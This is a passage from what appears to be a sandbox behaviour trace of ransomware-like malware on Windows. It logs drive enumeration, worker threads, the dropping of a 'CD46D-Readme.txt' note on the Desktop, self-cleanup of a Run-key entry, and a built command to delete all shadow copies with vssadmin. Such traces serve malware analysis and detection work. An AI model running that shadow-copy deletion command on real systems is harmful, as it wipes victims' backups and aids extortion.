[359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0129.244] ContinueDebugEvent (dwProcessId=0x6fc, dwThreadId=0x700, dwContinueStatus=0x80010001) returned 1 [0129.244] DebugActiveProcessStop (dwProcessId=0x6fc) returned 1 [0129.310] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f3a00) returned 1 [0129.310] Sleep (dwMilliseconds=0x4e20) [0139.452] SetErrorMode (uMode=0x8003) returned 0x0 [0139.452] GetLogicalDriveStringsW (in: nBufferLength=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0x5 [0139.452] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xc) returned 0x8e5bd8 [0139.452] GetLogicalDriveStringsW (in: nBufferLength=0x5, lpBuffer=0x8e5bd8 | out: lpBuffer="C:\\") returned 0x4 [0139.452] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0139.452] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8) returned 0x8e5f68 [0139.452] wcscpy (in: _Dest=0x8e5f68, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\" [0139.452] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8e5f68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x188 [0139.453] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e5bd8) returned 1 [0139.453] Sleep (dwMilliseconds=0x3e8) [0141.314] Sleep (dwMilliseconds=0x3e8) [0145.711] Sleep (dwMilliseconds=0x3e8) [0151.688] Sleep (dwMilliseconds=0x3e8) [0154.094] Sleep (dwMilliseconds=0x3e8) [0157.116] Sleep (dwMilliseconds=0x3e8) [0159.481] Sleep (dwMilliseconds=0x3e8) [0164.306] Sleep (dwMilliseconds=0x3e8) [0166.630] Sleep (dwMilliseconds=0x3e8) [0173.026] Sleep (dwMilliseconds=0x3e8) [0177.738] Sleep (dwMilliseconds=0x3e8) [0183.845] Sleep (dwMilliseconds=0x3e8) [0193.726] Sleep (dwMilliseconds=0x3e8) [0195.075] Sleep (dwMilliseconds=0x3e8) [0198.320] Sleep (dwMilliseconds=0x3e8) [0200.863] Sleep (dwMilliseconds=0x3e8) [0202.516] Sleep (dwMilliseconds=0x3e8) [0203.602] Sleep (dwMilliseconds=0x3e8) [0204.693] Sleep (dwMilliseconds=0x3e8) [0205.716] Sleep (dwMilliseconds=0x3e8) [0206.765] Sleep (dwMilliseconds=0x3e8) [0207.822] Sleep (dwMilliseconds=0x3e8) [0209.061] Sleep (dwMilliseconds=0x3e8) [0210.166] Sleep (dwMilliseconds=0x3e8) [0211.298] Sleep (dwMilliseconds=0x3e8) [0212.376] Sleep (dwMilliseconds=0x3e8) [0213.492] Sleep (dwMilliseconds=0x3e8) [0214.499] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82370, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7f0 [0214.500] Sleep (dwMilliseconds=0x3e8) [0215.871] Sleep (dwMilliseconds=0x3e8) [0216.885] Sleep (dwMilliseconds=0x3e8) [0217.899] Sleep (dwMilliseconds=0x3e8) [0218.914] Sleep (dwMilliseconds=0x3e8) [0219.927] Sleep (dwMilliseconds=0x3e8) [0220.940] Sleep (dwMilliseconds=0x3e8) [0221.955] Sleep (dwMilliseconds=0x3e8) [0222.969] Sleep (dwMilliseconds=0x3e8) [0223.983] Sleep (dwMilliseconds=0x3e8) [0225.000] Sleep (dwMilliseconds=0x3e8) [0226.011] Sleep (dwMilliseconds=0x3e8) [0227.025] Sleep (dwMilliseconds=0x3e8) [0228.040] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20a) returned 0x8f3e20 [0228.040] SHGetFolderPathW (in: hwnd=0x0, csidl=16, hToken=0x0, dwFlags=0x0, pszPath=0x8f3e20 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x0 [0228.046] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6e) returned 0x8e89e0 [0228.046] wcscpy (in: _Dest=0x8e89e0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" [0228.046] wcscat (in: _Dest=0x8e89e0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0228.046] wcscat (in: _Dest=0x8e89e0, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CD46D-Readme.txt" [0228.046] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x904 [0228.048] WriteFile (in: hFile=0x904, lpBuffer=0x8e9fe8*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0x47fa48, lpOverlapped=0x0 | out: lpBuffer=0x8e9fe8*, lpNumberOfBytesWritten=0x47fa48*=0x6fd, lpOverlapped=0x0) returned 1 [0228.049] CloseHandle (hObject=0x904) returned 1 [0228.050] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20a) returned 0x8f6488 [0228.050] GetSystemDirectoryW (in: lpBuffer=0x8f6488, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0228.050] wcscat (in: _Dest=0x8f6488, _Source="\\notepad.exe" | out: _Dest="C:\\Windows\\system32\\notepad.exe") returned="C:\\Windows\\system32\\notepad.exe" [0228.050] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x278) returned 0x12c77860 [0228.050] wcscpy (in: _Dest=0x12c77860, _Source="C:\\Windows\\system32\\notepad.exe" | out: _Dest="C:\\Windows\\system32\\notepad.exe") returned="C:\\Windows\\system32\\notepad.exe" [0228.050] wcscat (in: _Dest=0x12c77860, _Source=" " | out: _Dest="C:\\Windows\\system32\\notepad.exe ") returned="C:\\Windows\\system32\\notepad.exe " [0228.050] wcscat (in: _Dest=0x12c77860, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CD46D-Readme.txt" | out: _Dest="C:\\Windows\\system32\\notepad.exe C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CD46D-Readme.txt") returned="C:\\Windows\\system32\\notepad.exe C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CD46D-Readme.txt" [0228.087] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c77860) returned 1 [0228.087] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6488) returned 1 [0228.087] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e89e0) returned 1 [0228.087] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f3e20) returned 1 [0228.087] GetLogicalDriveStringsW (in: nBufferLength=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0x5 [0228.087] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xc) returned 0x134e4af0 [0228.087] GetLogicalDriveStringsW (in: nBufferLength=0x5, lpBuffer=0x134e4af0 | out: lpBuffer="C:\\") returned 0x4 [0228.087] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x2a) returned 0x8da9b8 [0228.087] wcscpy (in: _Dest=0x8da9b8, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\" [0228.087] wcscat (in: _Dest=0x8da9b8, _Source="CD46D-Readme.txt" | out: _Dest="C:\\CD46D-Readme.txt") returned="C:\\CD46D-Readme.txt" [0228.087] CreateFileW (lpFileName="C:\\CD46D-Readme.txt" (normalized: "c:\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0228.088] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8da9b8) returned 1 [0228.088] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x134e4af0) returned 1 [0228.088] NtTerminateProcess (ProcessHandle=0x178, ExitStatus=0x0) returned 0x0 [0228.090] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20a) returned 0x8f3e20 [0228.090] SHGetFolderPathW (in: hwnd=0x0, csidl=42, hToken=0x0, dwFlags=0x0, pszPath=0x8f3e20 | out: pszPath="C:\\Program Files (x86)") returned 0x0 [0228.093] wcscat (in: _Dest=0x8f3e20, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\" [0228.093] wcscat (in: _Dest=0x8f3e20, _Source="cd46de9c" | out: _Dest="C:\\Program Files (x86)\\cd46de9c") returned="C:\\Program Files (x86)\\cd46de9c" [0228.093] wcscat (in: _Dest=0x8f3e20, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\cd46de9c\\") returned="C:\\Program Files (x86)\\cd46de9c\\" [0228.093] wcscat (in: _Dest=0x8f3e20, _Source="cd46de9c" | out: _Dest="C:\\Program Files (x86)\\cd46de9c\\cd46de9c") returned="C:\\Program Files (x86)\\cd46de9c\\cd46de9c" [0228.093] wcscat (in: _Dest=0x8f3e20, _Source=".exe" | out: _Dest="C:\\Program Files (x86)\\cd46de9c\\cd46de9c.exe") returned="C:\\Program Files (x86)\\cd46de9c\\cd46de9c.exe" [0228.093] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\cd46de9c\\cd46de9c.exe", dwFileAttributes=0x20) returned 0 [0228.093] DeleteFileW (lpFileName="C:\\Program Files (x86)\\cd46de9c\\cd46de9c.exe" (normalized: "c:\\program files (x86)\\cd46de9c\\cd46de9c.exe")) returned 0 [0228.093] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="software\\microsoft\\windows\\currentversion\\run", ulOptions=0x0, samDesired=0x2011f, phkResult=0x47fa60 | out: phkResult=0x47fa60*=0x0) returned 0x5 [0228.093] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f3e20) returned 1 [0228.093] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20a) returned 0x8f3e20 [0228.093] SHGetFolderPathW (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x8f3e20 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x0 [0228.095] wcscat (in: _Dest=0x8f3e20, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0228.095] wcscat (in: _Dest=0x8f3e20, _Source="cd46de9c" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\cd46de9c") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\cd46de9c" [0228.095] wcscat (in: _Dest=0x8f3e20, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\cd46de9c\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\cd46de9c\\" [0228.095] wcscat (in: _Dest=0x8f3e20, _Source="cd46de9c" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\cd46de9c\\cd46de9c") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\cd46de9c\\cd46de9c" [0228.095] wcscat (in: _Dest=0x8f3e20, _Source=".exe" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\cd46de9c\\cd46de9c.exe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\cd46de9c\\cd46de9c.exe" [0228.095] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\cd46de9c\\cd46de9c.exe", dwFileAttributes=0x20) returned 0 [0228.095] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\cd46de9c\\cd46de9c.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\cd46de9c\\cd46de9c.exe")) returned 0 [0228.095] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="software\\microsoft\\windows\\currentversion\\run", ulOptions=0x0, samDesired=0x2011f, phkResult=0x47fa60 | out: phkResult=0x47fa60*=0x1ad0) returned 0x0 [0228.095] RegDeleteValueW (hKey=0x1ad0, lpValueName="cd46de9c") returned 0x2 [0228.095] RegFlushKey (hKey=0x1ad0) returned 0x0 [0228.472] RegCloseKey (hKey=0x1ad0) returned 0x0 [0228.472] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f3e20) returned 1 [0228.472] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20a) returned 0x8f3e20 [0228.472] Wow64DisableWow64FsRedirection (in: OldValue=0x47fb04 | out: OldValue=0x47fb04*=0x47fb04) returned 1 [0228.472] GetSystemDirectoryW (in: lpBuffer=0x8f3e20, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0228.472] wcscat (in: _Dest=0x8f3e20, _Source="\\vssadmin.exe" | out: _Dest="C:\\Windows\\system32\\vssadmin.exe") returned="C:\\Windows\\system32\\vssadmin.exe" [0228.472] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x240) returned 0x8f6488 [0228.472] wcscpy (in: _Dest=0x8f6488, _Source="C:\\Windows\\system32\\vssadmin.exe" | out: _Dest="C:\\Windows\\system32\\vssadmin.exe") returned="C:\\Windows\\system32\\vssadmin.exe" [0228.472] wcscat (in: _Dest=0x8f6488, _Source=" delete shadows /all /quiet" | out: _Dest="C:\\Windows\\system32\\vssadmin.exe delete shadows /all /quiet") returned="C:\\Windows\\system32\\vssadmin.exe delete shadows /all /quiet" [0228.475] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6488) returned 1 [0228.475] Wow64RevertWow64FsRedirection (OlValue=0x47fb04) returned 1 [0228.475] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f3e20) returned 1 [0228.475] ExitProcess (uExitCode=0x1) Thread: id = 1601 os_tid = 0x6e8 Thread: id = 1602 os_tid = 0x6ec [0129.118] Sleep (dwMilliseconds=0x1) [0129.142] Sleep (dwMilliseconds=0x1) [0129.143] Sleep (dwMilliseconds=0x1) [0129.148] Sleep (dwMilliseconds=0x1) [0129.150] Sleep (dwMilliseconds=0x1) [0129.158] Sleep (dwMilliseconds=0x1) [0129.183] Sleep (dwMilliseconds=0x1) [0129.234] Sleep (dwMilliseconds=0x1) [0129.310] Sleep (dwMilliseconds=0x1) [0129.382] Sleep (dwMilliseconds=0x1) [0129.806] Sleep (dwMilliseconds=0x1) [0129.810] Sleep (dwMilliseconds=0x1) [0129.827] Sleep (dwMilliseconds=0x1) [0129.863] Sleep (dwMilliseconds=0x1) [0129.891] Sleep (dwMilliseconds=0x1) [0129.926] Sleep (dwMilliseconds=0x1) [0130.015] Sleep (dwMilliseconds=0x1) [0130.085] Sleep (dwMilliseconds=0x1) [0130.128] Sleep (dwMilliseconds=0x1) [0130.168] Sleep (dwMilliseconds=0x1) [0130.210] Sleep (dwMilliseconds=0x1) [0130.225] Sleep (dwMilliseconds=0x1) [0130.234] Sleep (dwMilliseconds=0x1) [0130.235] Sleep (dwMilliseconds=0x1) [0130.268] Sleep (dwMilliseconds=0x1) [0130.294] Sleep (dwMilliseconds=0x1) [0130.358] Sleep (dwMilliseconds=0x1) [0130.380] Sleep (dwMilliseconds=0x1) [0130.411] Sleep (dwMilliseconds=0x1) [0130.443] Sleep (dwMilliseconds=0x1) [0130.458] Sleep (dwMilliseconds=0x1) [0130.515] Sleep (dwMilliseconds=0x1) [0130.528] Sleep (dwMilliseconds=0x1) [0130.564] Sleep (dwMilliseconds=0x1) [0130.567] Sleep (dwMilliseconds=0x1) [0130.590] Sleep (dwMilliseconds=0x1) [0130.603] Sleep (dwMilliseconds=0x1) [0130.620] Sleep (dwMilliseconds=0x1) [0130.642] Sleep (dwMilliseconds=0x1) [0130.647] Sleep (dwMilliseconds=0x1) [0130.651] Sleep (dwMilliseconds=0x1) [0130.673] Sleep (dwMilliseconds=0x1) [0130.691] Sleep (dwMilliseconds=0x1) [0130.738] Sleep (dwMilliseconds=0x1) [0130.755] Sleep (dwMilliseconds=0x1) [0130.775] Sleep (dwMilliseconds=0x1) [0130.784] Sleep (dwMilliseconds=0x1) [0130.785] Sleep (dwMilliseconds=0x1) [0130.786] Sleep (dwMilliseconds=0x1) [0130.791] Sleep (dwMilliseconds=0x1) [0130.853] Sleep (dwMilliseconds=0x1) [0130.859] Sleep (dwMilliseconds=0x1) [0130.877] Sleep (dwMilliseconds=0x1) [0130.888] Sleep (dwMilliseconds=0x1) [0130.889] Sleep (dwMilliseconds=0x1) [0130.890] Sleep (dwMilliseconds=0x1) [0130.892] Sleep (dwMilliseconds=0x1) [0130.892] Sleep (dwMilliseconds=0x1) [0130.893] Sleep (dwMilliseconds=0x1) [0130.894] Sleep (dwMilliseconds=0x1) [0130.898] Sleep (dwMilliseconds=0x1) [0130.899] Sleep (dwMilliseconds=0x1) [0130.900] Sleep (dwMilliseconds=0x1) [0130.901] Sleep (dwMilliseconds=0x1) [0130.902] Sleep (dwMilliseconds=0x1) [0130.903] Sleep (dwMilliseconds=0x1) [0130.905] Sleep (dwMilliseconds=0x1) [0131.244] Sleep (dwMilliseconds=0x1) [0131.277] Sleep (dwMilliseconds=0x1) [0131.354] Sleep (dwMilliseconds=0x1) [0131.402] Sleep (dwMilliseconds=0x1) [0131.434] Sleep (dwMilliseconds=0x1) [0131.549] Sleep (dwMilliseconds=0x1) [0131.696] Sleep (dwMilliseconds=0x1) [0131.731] Sleep (dwMilliseconds=0x1) [0131.739] Sleep (dwMilliseconds=0x1) [0132.016] Sleep (dwMilliseconds=0x1) [0132.116] Sleep (dwMilliseconds=0x1) [0132.124] Sleep (dwMilliseconds=0x1) [0132.148] Sleep (dwMilliseconds=0x1) [0132.157] Sleep (dwMilliseconds=0x1) [0132.423] Sleep (dwMilliseconds=0x1) [0132.558] Sleep (dwMilliseconds=0x1) [0132.680] Sleep (dwMilliseconds=0x1) [0132.700] Sleep (dwMilliseconds=0x1) [0132.902] Sleep (dwMilliseconds=0x1) [0132.936] Sleep (dwMilliseconds=0x1) [0132.961] Sleep (dwMilliseconds=0x1) [0133.345] Sleep (dwMilliseconds=0x1) [0133.372] Sleep (dwMilliseconds=0x1) [0133.798] Sleep (dwMilliseconds=0x1) [0133.828] Sleep (dwMilliseconds=0x1) [0133.862] Sleep (dwMilliseconds=0x1) [0133.899] Sleep (dwMilliseconds=0x1) [0133.953] Sleep (dwMilliseconds=0x1) [0133.962] Sleep (dwMilliseconds=0x1) [0134.041] Sleep (dwMilliseconds=0x1) [0134.061] Sleep (dwMilliseconds=0x1) [0134.111] Sleep (dwMilliseconds=0x1) [0134.264] Sleep (dwMilliseconds=0x1) [0134.370] Sleep (dwMilliseconds=0x1) [0134.399] Sleep (dwMilliseconds=0x1) [0134.417] Sleep (dwMilliseconds=0x1) [0134.585] Sleep (dwMilliseconds=0x1) [0134.669] Sleep (dwMilliseconds=0x1) [0134.707] Sleep (dwMilliseconds=0x1) [0134.898] Sleep (dwMilliseconds=0x1) [0135.082] Sleep (dwMilliseconds=0x1) [0135.180] Sleep (dwMilliseconds=0x1) [0135.460] Sleep (dwMilliseconds=0x1) [0135.600] Sleep (dwMilliseconds=0x1) [0135.671] Sleep (dwMilliseconds=0x1) [0135.713] Sleep (dwMilliseconds=0x1) [0135.746] Sleep (dwMilliseconds=0x1) [0135.772] Sleep (dwMilliseconds=0x1) [0135.829] Sleep (dwMilliseconds=0x1) [0135.901] Sleep (dwMilliseconds=0x1) [0135.986] Sleep (dwMilliseconds=0x1) [0136.027] Sleep (dwMilliseconds=0x1) [0136.055] Sleep (dwMilliseconds=0x1) [0136.094] Sleep (dwMilliseconds=0x1) [0136.117] Sleep (dwMilliseconds=0x1) [0136.275] Sleep (dwMilliseconds=0x1) [0136.465] Sleep (dwMilliseconds=0x1) [0136.485] Sleep (dwMilliseconds=0x1) [0136.513] Sleep (dwMilliseconds=0x1) [0136.557] Sleep (dwMilliseconds=0x1) [0136.785] Sleep (dwMilliseconds=0x1) [0136.872] Sleep (dwMilliseconds=0x1) [0137.436] Sleep (dwMilliseconds=0x1) [0137.477] Sleep (dwMilliseconds=0x1) [0137.508] Sleep (dwMilliseconds=0x1) [0137.639] Sleep (dwMilliseconds=0x1) [0137.701] Sleep (dwMilliseconds=0x1) [0137.783] Sleep (dwMilliseconds=0x1) [0137.954] Sleep (dwMilliseconds=0x1) [0138.170] Sleep (dwMilliseconds=0x1) [0138.278] Sleep (dwMilliseconds=0x1) [0138.306] Sleep (dwMilliseconds=0x1) [0138.525] Sleep (dwMilliseconds=0x1) [0138.542] Sleep (dwMilliseconds=0x1) [0138.618] Sleep (dwMilliseconds=0x1) [0138.678] Sleep (dwMilliseconds=0x1) [0138.730] Sleep (dwMilliseconds=0x1) [0138.757] Sleep (dwMilliseconds=0x1) [0138.828] Sleep (dwMilliseconds=0x1) [0138.854] Sleep (dwMilliseconds=0x1) [0138.905] Sleep (dwMilliseconds=0x1) [0138.929] Sleep (dwMilliseconds=0x1) [0138.965] Sleep (dwMilliseconds=0x1) [0139.019] Sleep (dwMilliseconds=0x1) [0139.036] Sleep (dwMilliseconds=0x1) [0139.053] Sleep (dwMilliseconds=0x1) [0139.070] Sleep (dwMilliseconds=0x1) [0139.110] Sleep (dwMilliseconds=0x1) [0139.168] Sleep (dwMilliseconds=0x1) [0139.194] Sleep (dwMilliseconds=0x1) [0139.199] Sleep (dwMilliseconds=0x1) [0139.218] Sleep (dwMilliseconds=0x1) [0139.233] Sleep (dwMilliseconds=0x1) [0139.250] Sleep (dwMilliseconds=0x1) [0139.266] Sleep (dwMilliseconds=0x1) [0139.282] Sleep (dwMilliseconds=0x1) [0139.293] Sleep (dwMilliseconds=0x1) [0139.314] Sleep (dwMilliseconds=0x1) [0139.336] Sleep (dwMilliseconds=0x1) [0139.366] Sleep (dwMilliseconds=0x1) [0139.374] Sleep (dwMilliseconds=0x1) [0139.391] Sleep (dwMilliseconds=0x1) [0139.418] Sleep (dwMilliseconds=0x1) [0139.443] Sleep (dwMilliseconds=0x1) [0139.453] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x0) returned 0x102 [0139.454] Sleep (dwMilliseconds=0x1) [0139.475] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x0) returned 0x0 [0139.475] CloseHandle (hObject=0x188) returned 1 [0139.475] WaitForSingleObject (hHandle=0x180, dwMilliseconds=0x0) returned 0x0 [0139.475] CloseHandle (hObject=0x180) returned 1 [0139.475] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x0) returned 0x0 [0139.475] CloseHandle (hObject=0x18c) returned 1 [0139.475] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0x0) returned 0x0 [0139.475] CloseHandle (hObject=0x190) returned 1 [0139.475] WaitForSingleObject (hHandle=0x194, dwMilliseconds=0x0) returned 0x102 [0139.476] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0x0) returned 0x102 [0139.476] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0x0) returned 0x102 [0139.476] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0x0) returned 0x102 [0139.476] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0x0) returned 0x102 [0139.476] WaitForSingleObject (hHandle=0x1a8, dwMilliseconds=0x0) returned 0x102 [0139.476] Sleep (dwMilliseconds=0x1) [0139.560] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x0) returned 0x102 [0139.560] WaitForSingleObject (hHandle=0x180, dwMilliseconds=0x0) returned 0x102 [0139.560] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x0) returned 0x102 [0139.560] WaitForSingleObject (hHandle=0x17c, dwMilliseconds=0x0) returned 0x102 [0139.560] WaitForSingleObject (hHandle=0x194, dwMilliseconds=0x0) returned 0x0 [0139.560] CloseHandle (hObject=0x194) returned 1 [0139.560] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0x0) returned 0x0 [0139.560] CloseHandle (hObject=0x198) returned 1 [0139.560] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0x0) returned 0x0 [0139.560] CloseHandle (hObject=0x19c) returned 1 [0139.560] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0x0) returned 0x102 [0139.560] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0x0) returned 0x0 [0139.561] CloseHandle (hObject=0x1a4) returned 1 [0139.561] WaitForSingleObject (hHandle=0x1a8, dwMilliseconds=0x0) returned 0x0 [0139.561] CloseHandle (hObject=0x1a8) returned 1 [0139.561] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x0) returned 0x102 [0139.561] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x0) returned 0x102 [0139.561] WaitForSingleObject (hHandle=0x1b4, dwMilliseconds=0x0) returned 0x102 [0139.561] WaitForSingleObject (hHandle=0x1b8, dwMilliseconds=0x0) returned 0x102 [0139.561] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x0) returned 0x102 [0139.561] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x0) returned 0x102 [0139.561] WaitForSingleObject (hHandle=0x1c4, dwMilliseconds=0x0) returned 0x102 [0139.561] WaitForSingleObject (hHandle=0x1c8, dwMilliseconds=0x0) returned 0x102 [0139.561] WaitForSingleObject (hHandle=0x1cc, dwMilliseconds=0x0) returned 0x102 [0139.561] WaitForSingleObject (hHandle=0x1d0, dwMilliseconds=0x0) returned 0x102 [0139.561] WaitForSingleObject (hHandle=0x1d4, dwMilliseconds=0x0) returned 0x102 [0139.561] WaitForSingleObject (hHandle=0x1d8, dwMilliseconds=0x0) returned 0x102 [0139.561] WaitForSingleObject (hHandle=0x1dc, dwMilliseconds=0x0) returned 0x102 [0139.561] WaitForSingleObject (hHandle=0x1e0, dwMilliseconds=0x0) returned 0x102 [0139.561] WaitForSingleObject (hHandle=0x1e4, dwMilliseconds=0x0) returned 0x102 [0139.561] WaitForSingleObject (hHandle=0x1e8, 